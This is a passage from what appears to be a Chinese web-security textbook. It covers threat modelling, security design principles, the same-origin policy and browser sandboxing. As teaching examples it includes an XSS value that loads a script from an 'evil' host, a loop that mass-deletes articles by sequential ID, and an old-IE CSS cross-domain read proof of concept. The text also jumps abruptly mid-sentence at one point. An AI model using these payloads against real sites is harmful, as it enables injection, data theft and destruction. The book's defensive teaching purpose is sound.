威胁分析信任域划好之后，我们如何才能确定危险来自哪里呢？在安全领域里，我们把可能造成危害的来源称为威胁（Threat），而把可能会出现的损失称为风险（Risk）。风险一定是和损失联系在一起的，很多专业的安全工程师也经常把这两个概念弄混，在写文档时张冠李戴。现在把这两个概念区分好，有助于我们接下来要提到的“威胁建模”和“风险分析”两个阶段，这两个阶段的联系是很紧密的。什么是威胁分析？威胁分析就是把所有的威胁都找出来。怎么找？一般是采用头脑风暴法。当然，也有一些比较科学的方法，比如使用一个模型，帮助我们去想，在哪些方面有可能会存在威胁，这个过程能够避免遗漏，这就是威胁建模。在本书中介绍一种威胁建模的方法，它最早是由微软提出的，叫做STRIDE模型。STRIDE是6个单词的首字母缩写，我们在分析威胁时，可以从以下6个方面去考虑。在进行威胁分析时，要尽可能地不遗漏威胁，头脑风暴的过程可以确定攻击面（Attack Sur-face）。在维护系统安全时，最让安全工程师沮丧的事情就是花费很多的时间与精力实施安全方案，但是攻击者却利用了事先完全没有想到的漏洞（漏洞的定义：系统中可能被威胁利用以造成危害的地方。）完成入侵。这往往就是由于在确定攻击面时，想的不够全面而导致的。以前有部老电影叫做《智取华山》，是根据真实事件改编的。1949年5月中旬，打响了“陕中战役”，国民党保安第6旅旅长兼第8区专员韩子佩率残部400余人逃上华山，企图凭借“自古华山一条道”的天险负隅顽抗。路东总队决定派参谋刘吉尧带侦察小分队前往侦察，刘吉尧率领小分队，在当地村民的带领下，找到了第二条路：爬悬崖！克服种种困难，最终顺利地完成了任务。战后，刘吉尧光荣地出席了全国英模代表大会，并被授予“全国特等战斗英雄”荣誉称号。我们用安全眼光来看这次战斗。国民党部队在进行“威胁分析”时，只考虑到“自古华山一条道”，所以在正路上布重兵，而完全忽略了其他的可能。他们“相信”其他道路是不存在的，这是他们实施安全方案的基础，而一旦这个信任基础不存在了，所有的安全方案都将化作浮云，从而被共产党的部队击败。所以威胁分析是非常重要的一件事情，很多时候还需要经常回顾和更新现有的模型。可能存在很多威胁，但并非每个威胁都会造成难以承受的损失。一个威胁到底能够造成多大的危害，如何去衡量它？这就要考虑到风险了。我们判断风险高低的过程，就是风险分析的过程。在“风险分析”这个阶段，也有模型可以帮助我们进行科学的思考。1.6.3 风险分析风险由以下因素组成：Risk = Probability * Damage Potential影响风险高低的因素，除了造成损失的大小外，还需要考虑到发生的可能性。地震的危害很大，但是地震、火山活动一般是在大陆板块边缘频繁出现，比如日本、印尼就处于这些地理位置，因此地震频发；而在大陆板块中心，若是地质结构以整块的岩石为主，则不太容易发生地震，因此地震的风险就要小很多。我们在考虑安全问题时，要结合具体情况，权衡事件发生的可能性，才能正确地判断出风险。如何更科学地衡量风险呢？这里再介绍一个DREAD模型，它也是由微软提出的。DREAD也是几个单词的首字母缩写，它指导我们应该从哪些方面去判断一个威胁的风险程度。在DREAD模型里，每一个因素都可以分为高、中、低三个等级。在上表中，高、中、低三个等级分别以3、2、1的分数代表其权重值，因此，我们可以具体计算出某一个威胁的风险值。以《智取华山》为例，如果国民党在威胁建模后发现存在两个主要威胁：第一个威胁是从正面入口强攻，第二个威胁是从后山小路爬悬崖上来。那么，这两个威胁对应的风险分别计算如下：走正面的入口：Risk = D(3) + R(3) + E(3) + A(3) + D(3) = 3+3+3+3+3=15走后山小路：Risk = D(3) + R(1) + E(1) + A(3) + D(1) = 3+1+1+3+1=9如果我们把风险高低定义如下：高危： 12 ～ 15 分 中危： 8 ～ 11 分 低危： 0 ～ 7 分那么，正面入口是最高危的，必然要派重兵把守；而后山小路竟然是中危的，因此也不能忽视。之所以会被这个模型判断为中危的原因，就在于一旦被突破，造成的损失太大，失败不起，所以会相应地提高该风险值。介绍完威胁建模和风险分析的模型后，我们对安全评估的整体过程应该有了一个大致的了解。在任何时候都应该记住——模型是死的，人是活的，再好的模型也是需要人来使用的，在确定攻击面，以及判断风险高低时，都需要有一定的经验，这也是安全工程师的价值所在。类似STRIDE和DREAD的模型可能还有很多，不同的标准会对应不同的模型，只要我们觉得这些模型是科学的，能够帮到我们，就可以使用。但模型只能起到一个辅助的作用，最终做出决策的还是人。1.6.4 设计安全方案安全评估的产出物，就是安全解决方案。解决方案一定要有针对性，这种针对性是由资产等级划分、威胁分析、风险分析等阶段的结果给出的。设计解决方案不难，难的是如何设计一个好的解决方案。设计一个好的解决方案，是真正考验安全工程师水平的时候。很多人认为，安全和业务是冲突的，因为往往为了安全，要牺牲业务的一些易用性或者性能，笔者不太赞同这种观点。从产品的角度来说，安全也应该是产品的一种属性。一个从未考虑过安全的产品，至少是不完整的。比如，我们要评价一个杯子是否好用，除了它能装水，能装多少水外，还要思考这个杯子内壁的材料是否会溶解在水里，是否会有毒，在高温时会不会熔化，在低温时是否易碎，这些问题都直接影响用户使用杯子的安全性。对于互联网来说，安全是要为产品的发展与成长保驾护航的。我们不能使用“粗暴”的安全方案去阻碍产品的正常发展，所以应该形成这样一种观点：没有不安全的业务，只有不安全的实现方式。产品需求，尤其是商业需求，是用户真正想要的东西，是业务的意义所在，在设计安全方案时应该尽可能地不要改变商业需求的初衷。作为安全工程师，要想的就是如何通过简单而有效的方案，解决遇到的安全问题。安全方案必须能够有效抵抗威胁，但同时不能过多干涉正常的业务流程，在性能上也不能拖后腿。好的安全方案对用户应该是透明的，尽可能地不要改变用户的使用习惯。微软在推出Windows Vista时，有一个新增的功能叫UAC，每当系统里的软件有什么敏感动作时，UAC就会弹出来询问用户是否允许该行为。这个功能在Vista众多失败的原因中是被人诟病最多的一个。如果用户能够分辨什么样的行为是安全的，那么还要安全软件做什么？同样的问题出现在很多主动防御的桌面安全保护软件中，它们动辄弹出个对话框询问用户是否允许目标的行为，这是非常荒谬的用户体验。好的安全产品或模块除了要兼顾用户体验外，还要易于持续改进。一个好的安全模块，同时也应该是一个优秀的程序，从设计上也需要做到高聚合、低耦合、易于扩展。比如Nmap的用户就可以自己根据需要写插件，实现一些更为复杂的功能，满足个性化需求。最终，一个优秀的安全方案应该具备以下特点： 能够有效解决问题；用户体验好；高性能；低耦合；易于扩展与升级。关于产品安全性的问题，在本书的“互联网业务安全”一章中还会继续深入阐述。\n1.7 白帽子兵法在上节讲述了实施安全评估的基本过程，安全评估最后的产出物就是安全方案，但在具体设计安全方案时有什么样的技巧呢？本节将讲述在实战中可能用到的方法。1.7.1 Secure By Default原则在设计安全方案时，最基本也最重要的原则就是“Secure by Default”。在做任何安全设计时，都要牢牢记住这个原则。一个方案设计得是否足够安全，与有没有应用这个原则有很大的关系。实际上，“Secure by Default”原则，也可以归纳为白名单、黑名单的思想。如果更多地使用白名单，那么系统就会变得更安全。1.7.1.1 黑名单、白名单比如，在制定防火墙的网络访问控制策略时，如果网站只提供Web服务，那么正确的做法是只允许网站服务器的80和443端口对外提供服务，屏蔽除此之外的其他端口。这是一种“白名单”的做法；如果使用“黑名单”，则可能会出现问题。假设黑名单的策略是：不允许SSH端口对Internet开放，那么就要审计SSH的默认端口：22端口是否开放了Internet。但在实际工作过程中，经常会发现有的工程师为了偷懒或图方便，私自改变了SSH的监听端口，比如把SSH的端口从22改到了2222，从而绕过了安全策略。又比如，在网站的生产环境服务器上，应该限制随意安装软件，而需要制定统一的软件版本规范。这个规范的制定，也可以选择白名单的思想来实现。按照白名单的思想，应该根据业务需求，列出一个允许使用的软件以及软件版本的清单，在此清单外的软件则禁止使用。如果允许工程师在服务器上随意安装软件的话，则可能会因为安全部门不知道、不熟悉这些软件而导致一些漏洞，从而扩大攻击面。在Web安全中，对白名单思想的运用也比比皆是。比如应用处理用户提交的富文本时，考虑到XSS的问题，需要做安全检查。常见的XSS Filter一般是先对用户输入的HTML原文作HTMLParse，解析成标签对象后，再针对标签匹配XSS的规则。这个规则列表就是一个黑白名单。如果选择黑名单的思想，则这套规则里可能是禁用诸如<script>、<iframe>等标签。但是黑名单可能会有遗漏，比如未来浏览器如果支持新的HTML标签，那么此标签可能就不在黑名单之中了。如果选择白名单的思想，就能避免这种问题——在规则中，只允许用户输入诸如<a>、<img>等需要用到的标签。对于如何设计一个好的XSS防御方案，在“跨站脚本攻击”一章中还会详细讲到，不在此赘述了。然而，并不是用了白名单就一定安全了。有朋友可能会问，作者刚才讲到选择白名单的思想会更安全，现在又说不一定，这不是自相矛盾吗？我们可以仔细分析一下白名单思想的本质。在前文中提到：“安全问题的本质是信任问题，安全方案也是基于信任来做的”。选择白名单的思想，基于白名单来设计安全方案，其实就是信任白名单是好的，是安全的。但是一旦这个信任基础不存在了，那么安全就荡然无存。在Flash跨域访问请求里，是通过检查目标资源服务器端的crossdomain.xml文件来验证是否允许客户端的Flash跨域发起请求的，它使用的是白名单的思想。比如下面这个策略文件：<cross-domain-policy><allow-access-from domain=\"*.taobao.com\"/><allow-access-from domain=\"*.taobao.net\"/><allow-access-from domain=\"*.taobaocdn.com\"/><allow-access-from domain=\"*.tbcdn.cn\"/><allow-access-from domain=\"*.allyes.com\"/></cross-domain-policy>指定了只允许特定域的Flash对本域发起请求。可是如果这个信任列表中的域名变得不可信了，那么问题就会随之而来。比如：<cross-domain-policy><allow-access-from domain=\"*\"/> </cross-domain-policy>通配符“”，代表来自任意域的Flash都能访问本域的数据，因此就造成了安全隐患。所以在选择使用白名单时，需要注意避免出现类似通配符“”的问题。1.7.1.2 最小权限原则Secure By Default的另一层含义就是“最小权限原则”。最小权限原则也是安全设计的基本原则之一。最小权限原则要求系统只授予主体必要的权限，而不要过度授权，这样能有效地减少系统、网络、应用、数据库出错的机会。比如在Linux系统中，一种良好的操作习惯是使用普通账户登录，在执行需要root权限的操作时，再通过sudo命令完成。这样能最大化地降低一些误操作导致的风险；同时普通账户被盗用后，与root帐户被盗用所导致的后果是完全不同的。在使用最小权限原则时，需要认真梳理业务所需要的权限，在很多时候，开发者并不会意识到业务授予用户的权限过高。在通过访谈了解业务时，可以多设置一些反问句，比如：您确定您的程序一定需要访问Internet吗？通过此类问题，来确定业务所需的最小权限。1.7.2 纵深防御原则与Secure by Default一样，Defense inDepth（纵深防御）也是设计安全方案时的重要指导思想。纵深防御包含两层含义：首先，要在各个不同层面、不同方面实施安全方案，避免出现疏漏，不同安全方案之间需要相互配合，构成一个整体；其次，要在正确的地方做正确的事情，即：在解决根本问题的地方实施针对性的安全方案。某矿泉水品牌曾经在广告中展示了一滴水的生产过程：经过十多层的安全过滤，去除有害物质，最终得到一滴饮用水。这种多层过滤的体系，就是一种纵深防御，是有立体层次感的安全方案。纵深防御并不是同一个安全方案要做两遍或多遍，而是要从不同的层面、不同的角度对系统做出整体的解决方案。我们常常听到“木桶理论”这个词，说的是一个桶能装多少水，不是取决于最长的那块板，而是取决于最短的那块板，也就是短板。设计安全方案时最怕出现短板，木桶的一块块板子，就是各种具有不同作用的安全方案，这些板子要紧密地结合在一起，才能组成一个不漏水的木桶。在常见的入侵案例中，大多数是利用Web应用的漏洞，攻击者先获得一个低权限的webshell，然后通过低权限的webshell上传更多的文件，并尝试执行更高权限的系统命令，尝试在服务器上提升权限为root；接下来攻击者再进一步尝试渗透内网，比如数据库服务器所在的网段。在这类入侵案例中，如果在攻击过程中的任何一个环节设置有效的防御措施，都有可能导致入侵过程功亏一篑。但是世上没有万能灵药，也没有哪种解决方案能解决所有问题，因此非常有必要将风险分散到系统的各个层面。就入侵的防御来说，我们需要考虑的可能有Web应用安全、OS系统安全、数据库安全、网络环境安全等。在这些不同层面设计的安全方案，将共同组成整个防御体系，这也就是纵深防御的思想。纵深防御的第二层含义，是要在正确的地方做正确的事情。如何理解呢？它要求我们深入理解威胁的本质，从而做出正确的应对措施。在XSS防御技术的发展过程中，曾经出现过几种不同的解决思路，直到最近几年XSS的防御思路才逐渐成熟和统一。XSS防御技术的发展过程在一开始的方案中，主要是过滤一些特殊字符，比如：<<笑傲江湖>>会变成 笑傲江湖尖括号被过滤掉了。但是这种粗暴的做法常常会改变用户原本想表达的意思，比如：1<2可能会变成 1 2造成这种“乌龙”的结果就是因为没有“在正确的地方做正确的事情”。对于XSS防御，对系统取得的用户输入进行过滤其实是不太合适的，因为XSS真正产生危害的场景是在用户的浏览器上，或者说服务器端输出的HTML页面，被注入了恶意代码。只有在拼装HTML时输出，系统才能获得HTML上下文的语义，才能判断出是否存在误杀等情况。所以“在正确的地方做正确的事情”，也是纵深防御的一种含义——必须把防御方案放到最合适的地方去解决。（XSS防御的更多细节请参考“跨站脚本攻击”一章。）近几年安全厂商为了迎合市场的需要，推出了一种产品叫UTM，全称是“统一威胁管理”（Uni-fied Threat Management）。UTM几乎集成了所有主流安全产品的功能，比如防火墙、VPN、反垃圾邮件、IDS、反病毒等。UTM的定位是当中小企业没有精力自己做安全方案时，可以在一定程度上提高安全门槛。但是UTM并不是万能药，很多问题并不应该在网络层、网关处解决，所以实际使用时效果未必好，它更多的是给用户买个安心。对于一个复杂的系统来说，纵深防御是构建安全体系的必要选择。1.7.3 数据与代码分离原则另一个重要的安全原则是数据与代码分离原则。这一原则广泛适用于各种由于“注入”而引发安全问题的场景。实际上，缓冲区溢出，也可以认为是程序违背了这一原则的后果——程序在栈或者堆中，将用户数据当做代码执行，混淆了代码与数据的边界，从而导致安全问题的发生。在Web安全中，由“注入”引起的问题比比皆是，如XSS、SQL Injection、CRLF Injection、X-Path Injection等。此类问题均可以根据“数据与代码分离原则”设计出真正安全的解决方案，因为这个原则抓住了漏洞形成的本质原因。以XSS为例，它产生的原因是HTML Injection或JavaScript Injection，如果一个页面的代码如下：<html><head>test</head><body>$var </body></html>其中$var是用户能够控制的变量，那么对于这段代码来说：<html><head>test</head><body></body></html>就是程序的代码执行段。而$var就是程序的用户数据片段。如果把用户数据片段$var当成代码片段来解释、执行，就会引发安全问题。比如，当$var的值是：<script src=http://evil></script>时，用户数据就被注入到代码片段中。解析这段脚本并执行的过程，是由浏览器来完成的——浏览器将用户数据里的<script>标签当做代码来解释——这显然不是程序开发者的本意。根据数据与代码分离原则，在这里应该对用户数据片段$var进行安全处理，可以使用过滤、编码等手段，把可能造成代码混淆的用户数据清理掉，具体到这个案例中，就是针对<、>等符号做处理。有的朋友可能会问了：我这里就是要执行一个<script>标签，要弹出一段文字，比如：“你好！”，那怎么办呢？在这种情况下，数据与代码的情况就发生了变化，根据数据与代码分离原则，我们就应该重写代码片段：<html><head>test</head><body><script>alert(\"$var1\");</script></body></html>在这种情况下，<script>标签也变成了代码片段的一部分，用户数据只有$var1能够控制，从而杜绝了安全问题的发生。1.7.4 不可预测性原则前面介绍的几条原则：Secure By Default，是时刻要牢记的总则；纵深防御，是要更全面、更正确地看待问题；数据与代码分离，是从漏洞成因上看问题；接下来要讲的“不可预测性”原则，则是从克服攻击方法的角度看问题。微软的Windows系统用户多年来深受缓冲区溢出之苦，因此微软在Windows的新版本中增加了许多对抗缓冲区溢出等内存攻击的功能。微软无法要求运行在系统中的软件没有漏洞，因此它采取的做法是让漏洞的攻击方法失效。比如，使用DEP来保证堆栈不可执行，使用ASLR让进程的栈基址随机变化，从而使攻击程序无法准确地猜测到内存地址，大大提高了攻击的门槛。经过实践检验，证明微软的这个思路确实是有效的——即使无法修复code，但是如果能够使得攻击的方法无效，那么也可以算是成功的防御。微软使用的ASLR技术，在较新版本的Linux内核中也支持。在ASLR的控制下，一个程序每次启动时，其进程的栈基址都不相同，具有一定的随机性，对于攻击者来说，这就是“不可预测性”。不可预测性（Unpredictable），能有效地对抗基于篡改、伪造的攻击。我们看看如下场景：假设一个内容管理系统中的文章序号，是按照数字升序排列的，比如id=1000, id=1002,id=1003……这样的顺序，使得攻击者能够很方便地遍历出系统中的所有文章编号：找到一个整数，依次递增即可。如果攻击者想要批量删除这些文章，写个简单的脚本：for (i=0;i<100000;i++){ Delete(url+\"?id=\"+i);}就可以很方便地达到目的。但是如果该内容管理系统使用了“不可预测性”原则，将id的值变得不可预测，会产生什么结果呢？id=asldfjaefsadlf, id=adsfalkennffxc, id=poer-jfweknfd……id的值变得完全不可预测了，攻击者再想批量删除文章，只能通过爬虫把所有的页面id全部抓取下来，再一一进行分析，从而提高了攻击的门槛。不可预测性原则，可以巧妙地用在一些敏感数据上。比如在CSRF的防御技术中，通常会使用一个token来进行有效防御。这个token能成功防御CSRF，就是因为攻击者在实施CSRF攻击的过程中，是无法提前预知这个token值的，因此要求token足够复杂时，不能被攻击者猜测到。（具体细节请参考“跨站点请求伪造”一章。）不可预测性的实现往往需要用到加密算法、随机数算法、哈希算法，好好使用这条原则，在设计安全方案时往往会事半功倍。\n1.8 小结本章归纳了笔者对于安全世界的认识和思考，从互联网安全的发展史说起，揭示了安全问题的本质，以及应该如何展开安全工作，最后总结了设计安全方案的几种思路和原则。在后续的章节中，将继续揭示Web安全的方方面面，并深入理解攻击原理和正确的解决之道——我们会面对各种各样的攻击，解决方案为什么要这样设计，为什么这最合适？这一切的出发点，都可以在本章中找到本质的原因。安全是一门朴素的学问，也是一种平衡的艺术。无论是传统安全，还是互联网安全，其内在的原理都是一样的。我们只需抓住安全问题的本质，之后无论遇到任何安全问题（不仅仅局限于Web安全或互联网安全），都会无往而不利，因为我们已经真正地懂得了如何用安全的眼光来看待这个世界！\n（附）谁来为漏洞买单？昨天介绍了PHP中is_a()函数功能改变引发的问题，后来发现很多朋友不认同这是一个漏洞，原因是通过良好的代码习惯能够避免该问题，比如写一个安全的__autoload()函数。我觉得我有必要讲讲一些安全方面的哲学问题，但这些想法只代表我个人的观点，是我的安全世界观。互联网本来是安全的，自从有了研究安全的人，就变得不安全了。所有的程序本来也没有漏洞，只有功能，但当一些功能被用于破坏，造成损失时，也就成了漏洞。我们定义一个功能是否是漏洞，只看后果，而不应该看过程。计算机用0和1定义了整个世界，但在整个世界中，并非所有事情都能简单地用“是” 或者“非”来判断，漏洞也是如此，因为破坏有程度轻重之分，当破坏程度超过某一临界值时，多数人（注意不是所有人）会接受这是一个漏洞的事实。但事物是变化的，这个临界值也不是一成不变的，“多数人”也不是一成不变的，所以我们要用变化的观点去看待变化的事物。泄露用户个人信息，比如电话、住址，在以前几乎称不上漏洞，因为没有人利用；但在互联网越来越关心用户隐私的今天，这就变成了一个严重的问题，因为有无数的坏人时刻在想着利用这些信息搞破坏，非法攫取利益。所以，今天如果发现某网站能够批量、未经授权获取到用户个人信息，这就是一个漏洞。再举个例子。用户登录的memberID是否属于机密信息？在以往做信息安全，我们都只知道“密码”、“安全问题”等传统意义上的机密信息需要保护。但是在今天，在网站的业务设计中，我们发现loginID也应该属于需要保护的信息。因为loginID一旦泄露后，可能会导致被暴力破解；甚至有的用户将loginID当成密码的一部分，会被黑客猜中用户的密码或者是黑客通过攻击一些第三方站点（比如SNS）后，找到同样的loginID来尝试登录。正因为攻击技术在发展，所以我们对漏洞的定义也在不断变化。可能很多朋友都没有注意到，一个业务安全设计得好的网站，往往loginID和nick-name（昵称）是分开的。登录ID是用户的私有信息，只有用户本人能够看到；而nickname不能用于登录，但可以公开给所有人看。这种设计的细节，是网站积极防御的一种表现。可能很多朋友仍然不愿意承认这些问题是漏洞，那么什么是漏洞呢？在我看来，漏洞只是对破坏性功能的一个统称而已。但是“漏洞”这顶帽子太大，大到我们难以承受，所以我们不妨换一个角度看，看看是否“应该修补”。语言真是很神奇的东西，很多时候换一个称呼，就能让人的认可度提高很多。在PHP的5.3.4版本中，修补了很多年来万恶的0字节截断功能，这个功能被文件包含漏洞利用，酿造了无数“血案”。我们知道PHP中include/require一个文件的功能，如果有良好的代码规范，则是安全的，不会成为漏洞。这是一个正常的PHP语言的功能，只是“某一群不明真相的小白程序员”在一个错误的时间、错误的地点写出了错误的代码，使得“某一小撮狡猾的黑客”发现了这些错误的代码，从而导致漏洞。这是操作系统的问题，谁叫操作系统在遍历文件路径时会被0字节截断，谁叫C语言的string操作是以0字节为结束符，谁叫程序员写出这么小白的代码，官方文档里已经提醒过了，关PHP什么事情，太冤枉了！我也觉得PHP挺冤枉的，但C语言和操作系统也挺冤的，我们就是这么规定的，如之奈何？但总得有人来为错误买单，谁买单呢？写出不安全代码的小白程序员？No！学习过市场营销方面知识的同学应该知道，永远也别指望让最终用户来买单，就像老百姓不应该为政府的错误买单一样（当然在某个神奇的国度除外）。所以必须得有人为这些不是漏洞，但造成了既成事实的错误负责，我们需要有社会责任感的owner。很高兴的是，PHP官方在经历这么多年纠结、折磨、发疯之后，终于勇敢地承担起了这个责任（我相信这是一个很坎坷的心路历程），为这场酿成无数惨案的闹剧画上了一个句号。但是我们仍然悲观地看到，cgi.fix_pathinfo的问题仍然没有修改默认配置，使用fastcgi的PHP应用默认处于风险中。PHP官方仍然坚持认为这是一个正常的功能，谁叫小白程序员不认真学习官方文件精神！是啊，无数网站付出惨痛学费的正常功能！PHP是当下用户最多的Web开发语言之一，但是因为种种历史遗留原因（我认为是历史原因），导致在安全的“增值”服务上做得远远不够（相对于一些新兴的流行语言来说）。在PHP流行起来的时候，当时的互联网远远没有现在复杂，也远远没有现在这么多的安全问题，在当时的历史背景下，很多问题都不是“漏洞”，只是功能。我们可以预见到，在未来互联网发展的过程中，也必然会有更多、更古怪的攻击方式出现，也必然会让更多的原本是“功能”的东西，变成漏洞。最后，也许你已经看出来了，我并不是要说服谁is_a()是一个漏洞，而是在思考，谁该为这些损失买单？我们未来遇到同样的问题怎么办？对于白帽子来说，我们习惯于分解问题，同一个问题，我们可以在不同层面解决，可以通过良好的代码规范去保证（事实上，所有的安全问题都能这么修复，只是需要付出的成本过于巨大），但只有PHP在源头修补了这个问题，才真正是善莫大焉。BTW：is_a()函数的问题已经申报了CVE，如果不出意外，security@php.net也会接受这个问题，所以它已经是一个既成事实的漏洞了。\n第二篇 客户端脚本安全第2章 浏览器安全近年来随着互联网的发展，人们发现浏览器才是互联网最大的入口，绝大多数用户使用互联网的工具是浏览器。因此浏览器市场的竞争也日趋白热化。浏览器安全在这种激烈竞争的环境中被越来越多的人所重视。一方面，浏览器天生就是一个客户端，如果具备了安全功能，就可以像安全软件一样对用户上网起到很好的保护作用；另一方面，浏览器安全也成为浏览器厂商之间竞争的一张底牌，浏览器厂商希望能够针对安全建立起技术门槛，以获得竞争优势。因此近年来随着浏览器版本的不断更新，浏览器安全功能变得越来越强大。在本章中，我们将介绍一些主要的浏览器安全功能。\n2.1 同源策略同源策略（Same Origin Policy）是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。对于客户端Web安全的学习与研究来说，深入理解同源策略是非常重要的，也是后续学习的基础。很多时候浏览器实现的同源策略是隐性、透明的，很多因为同源策略导致的问题并没有明显的出错提示，如果不熟悉同源策略，则可能一直都会想不明白问题的原因。浏览器的同源策略，限制了来自不同源的“docu-ment”或脚本，对当前“document”读取或设置某些属性。这一策略极其重要，试想如果没有同源策略，可能a.com的一段JavaScript脚本，在b.com未曾加载此脚本时，也可以随意涂改b.com的页面（在浏览器的显示中）。为了不让浏览器的页面行为发生混乱，浏览器提出了“Origin”（源）这一概念，来自不同Origin的对象无法互相干扰。对于JavaScript来说，以下情况被认为是同源与不同源的。浏览器中JavaScript的同源策略（当JavaScript被浏览器认为来自不同源时，请求被拒绝）由上表可以看出，影响“源”的因素有：host（域名或IP地址，如果是IP地址则看做一个根域名）、子域名、端口、协议。需要注意的是，对于当前页面来说，页面内存放JavaScript文件的域并不重要，重要的是加载JavaScript页面所在的域是什么。换言之，a.com通过以下代码：<script src=http://b.com/b.js ></script>加载了b.com上的b.js，但是b.js是运行在a.com页面中的，因此对于当前打开的页面（a.com页面）来说，b.js的Origin就应该是a.com而非b.com。在浏览器中，<script>、<img>、<iframe>、<link>等标签都可以跨域加载资源，而不受同源策略的限制。这些带“src”属性的标签每次加载时，实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是，通过src属性加载的资源，浏览器限制了JavaScript的权限，使其不能读、写返回的内容。对于XMLHttpRequest来说，它可以访问来自同源对象的内容。比如下例：<html><head><script type=\"text/javascript\">var xmlhttp;function loadXMLDoc(url){xmlhttp=null;if (window.XMLHttpRequest) {// code for Firefox, Opera, IE7, etc. xmlhttp=new XMLHttpRequest(); }else if (window.ActiveXObject) {// code for IE6, IE5 xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); }if (xmlhttp!=null) { xmlhttp.onreadystatechange=state_Change; xmlhttp.open(\"GET\",url,true); xmlhttp.send(null); }else { alert(\"Your browser does not support XMLHTTP.\"); }}function state_Change(){if (xmlhttp.readyState==4) {// 4 = \"loaded\" if (xmlhttp.status==200) {// 200 = \"OK\"document.getElementById('T1').innerHTML=xmlhttp.responseText; } else { alert(\"Problem retrieving data:\" + xmlhttp.statusText); } }}</script></head><body onload=\"loadXMLDoc('/example/xdom/test_xmlhttp.txt')\"><div id=\"T1\" style=\"border:1px solid black;height:40;width:300;padding:5\"></div><br /><button onclick=\"loadXMLDoc('/example/xdom/test_xmlhttp2.txt')\">Click</button></body></html>但XMLHttpRequest受到同源策略的约束，不能跨域访问资源，在AJAX应用的开发中尤其需要注意这一点。如果XMLHttpRequest能够跨域访问资源，则可能会导致一些敏感数据泄露，比如CSRF的to-ken，从而导致发生安全问题。但是互联网是开放的，随着业务的发展，跨域请求的需求越来越迫切，因此W3C委员会制定了XMLHttpRequest跨域访问标准。它需要通过目标域返回的HTTP头来授权是否允许跨域访问，因为HTTP头对于JavaScript来说一般是无法控制的，所以认为这个方案可以实施。注意：这个跨域访问方案的安全基础就是信任“JavaScript无法控制该HTTP头”，如果此信任基础被打破，则此方案也将不再安全。跨域访问请求过程具体的实现过程，在本书的“HTML 5安全”一章中会继续探讨。对于浏览器来说，除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外，浏览器加载的一些第三方插件也有各自的同源策略。最常见的一些插件如Flash、Java Applet、Sil-verlight、Google Gears等都有自己的控制策略。以Flash为例，它主要通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的Flash跨域访问目标资源。以www.qq.com的策略文件为例，当浏览器在任意其他域的页面里加载了Flash后，如果对www.qq.com发起访问请求，Flash会先检查www.qq.com上此策略文件是否存在。如果文件存在，则检查发起请求的域是否在许可范围内。www.qq.com的crossdomain.xml文件在这个策略文件中，只有来自.qq.com和.gtimg.com域的请求是被允许的。依靠这种方式，从Origin的层面上控制了Flash行为的安全性。在Flash 9及其之后的版本中，还实现了MIME检查以确认crossdomain.xml是否合法，比如查看服务器返回HTTP头的Content-Type是否</body>www.b.com/test2.html：<style>@import url(\"http://www.a.com/test.html\");</style><script> setTimeout(function(){ var t = document.body.currentStyle.fontFamily; alert(t); },2000);</script>在www.b.com/test2.html中通过@import 加载了http://www.a.com/test.html为CSS文件，渲染进入当前页面DOM，同时通过docu-ment.body.currentStyle.fontFamily访问此内容。问题发生在IE的CSS Parse的过程中，IE将font-Family后面的内容当做了value，从而可以读取www.a.com/test.html的页面内容。在www.b.com下读取到了www.a.com的页面内容我们前面提到，比如<script>等标签仅能加载资源，但不能读、写资源的内容，而这个漏洞能够跨域读取页面内容，因此绕过了同源策略，成为一个跨域漏洞。浏览器的同源策略是浏览器安全的基础，在本书后续章节中提到的许多客户端脚本攻击，都需要遵守这一法则，因此理解同源策略对于客户端脚本攻击有着重要意义。同源策略一旦出现漏洞被绕过，也将带来非常严重的后果，很多基于同源策略制定的安全方案都将失去效果。\n2.2 浏览器沙箱针对客户端的攻击近年来呈现爆发趋势：2009年全年挂马网站状况趋势图这种在网页中插入一段恶意代码，利用浏览器漏洞执行任意代码的攻击方式，在黑客圈子里被形象地称为“挂马”。“挂马”是浏览器需要面对的一个主要威胁。近年来，独立于杀毒软件之外，浏览器厂商根据挂马的特点研究出了一些对抗挂马的技术。比如在Windows系统中，浏览器密切结合DEP、ASLR、SafeSEH等操作系统提供的保护技术，对抗内存攻击。与此同时，浏览器还发展出了多进程架构，从安全性上有了很大的提高。浏览器的多进程架构，将浏览器的各个功能模块分开，各个浏览器实例分开，当一个进程崩溃时，也不会影响到其他的进程。Google Chrome是第一个采取多进程架构的浏览器。Google Chrome的主要进程分为：浏览器进程、渲染进程、插件进程、扩展进程。插件进程如flash、java、pdf等与浏览器进程严格隔离，因此不会互相影响。Google Chrome的架构渲染引擎由Sandbox隔离，网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPCchannel，在其中会进行一些安全检查。Sandbox即沙箱，计算机技术发展到今天，Sandbox已经成为泛指“资源隔离类模块”的代名词。Sandbox的设计目的一般是为了让不可信任的代码运行在一定的环境中，限制不可信任的代码访问隔离区之外的资源。如果一定要跨越Sandbox边界产生数据交换，则只能通过指定的数据通道，比如经过封装的API来完成，在这些API中会严格检查请求的合法性。Sandbox的应用范围非常广泛。比如一个提供hosting服务的共享主机环境，假设支持用户上传PHP、Python、Java等语言的代码，为了防止用户代码破坏系统环境，或者是不同用户之间的代码互相影响，则应该设计一个Sandbox对用户代码进行隔离。Sandbox需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求，可以采用默认拒绝的策略，对于有需要的请求，则可以通过封装API的方式实现。而对于浏览器来说，采用Sandbox技术，无疑可以让不受信任的网页代码、JavaScript代码运行在一个受到限制的环境中，从而保护本地桌面系统的安全。Google Chrome实现了一个相对完整的Sand-box：Google Chrome的Sandbox架构IE 8也采取了多进程架构，每一个Tab页即是一个进程，如下是IE 8的架构：IE 8的架构多进程架构最明显的一个好处是，相对于单进程浏览器，在发生崩溃时，多进程浏览器只会崩溃当前的Tab页，而单进程浏览器则会崩溃整个浏览器进程。这对于用户体验是很大的提升。但是浏览器安全是一个整体，在现今的浏览器中，虽然有多进程架构和Sandbox的保护，但是浏览器所加载的一些第三方插件却往往不受Sand-box管辖。比如近年来在Pwn2Own大会上被攻克的浏览器，往往都是由于加载的第三方插件出现安全漏洞导致的。Flash、Java、PDF、.Net 